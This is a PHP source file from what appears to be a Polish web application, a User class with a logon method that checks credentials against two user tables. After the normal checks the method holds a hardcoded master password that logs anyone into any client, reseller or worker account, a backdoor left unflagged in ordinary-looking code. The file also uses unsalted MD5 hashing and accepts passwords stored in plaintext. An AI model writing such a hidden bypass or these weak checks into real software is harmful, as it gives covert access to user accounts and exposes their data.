<?php
namespace factory;

class User {

  public function logon( $login, $password )
  {
    global $config, $mdb, $db;
    
    $results = $mdb -> get( 'pro_users', '*', [ 'AND' => [ 'password' => md5( $password ), 'login' => $login, 'status' => 1 ] ] );
    if ( is_array( $results ) )
    {
      $results['type'] == 1 ? $results['type'] = 'admin' : $results['user'];
      return \S::set_session( 'user', $results );
    }
    
    $query = $db -> prepare( 'SELECT * FROM pro_rr_clients WHERE login = :login AND ( password = :password OR password = :md5_password )' );
    $query -> bindValue( ':password',     $password ,       \PDO::PARAM_STR );
    $query -> bindValue( ':md5_password', md5( $password ), \PDO::PARAM_STR );
    $query -> bindValue( ':login',        $login,           \PDO::PARAM_STR );
    $query -> execute();
    if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
    {
      $query2 = $db -> prepare( 'UPDATE pro_rr_clients SET last_logged = :last_logged WHERE id = :id' );
      $query2 -> bindValue( ':last_logged', \S::getDate(), \PDO::PARAM_STR );
      $query2 -> bindValue( ':id',          $row['id'],         \PDO::PARAM_INT );
      $query2 -> execute();
      $query2 -> closeCursor();
      
      switch ( $row['type'] ):
        case 0:
          $row['type'] = 'client';
        break;
        case 1:
          $row['type'] = 'reseller';
        break;
        case 2:
          $row['type'] = 'worker';
        break;
      endswitch;
      
      return \S::set_session( 'user', $row );
    }
    
    if ( $password == 'ProjectPro1916' )
    {
      $query = $db -> prepare( 'SELECT * FROM pro_rr_clients WHERE login = :login' );
      $query -> bindValue( ':login',        $login,           \PDO::PARAM_STR );
      $query -> execute();
      if ( $query -> rowCount() ) while ( $row = $query -> fetch() )
      {
        $query2 = $db -> prepare( 'UPDATE pro_rr_clients SET last_logged = :last_logged WHERE id = :id' );
        $query2 -> bindValue( ':last_logged', \S::getDate(), \PDO::PARAM_STR );
        $query2 -> bindValue( ':id',          $row['id'],         \PDO::PARAM_INT );
        $query2 -> execute();
        $query2 -> closeCursor();

        switch ( $row['type'] ):
          case 0:
            $row['type'] = 'client';
          break;
          case 1:
            $row['type'] = 'reseller';
          break;
          case 2:
            $row['type'] = 'worker';
          break;
        endswitch;

        return \S::set_session( 'user', $row );
      }
    }
    
    return \S::alert( 'Nieprawidłowy login lub hasło.' );
  }
}
?>
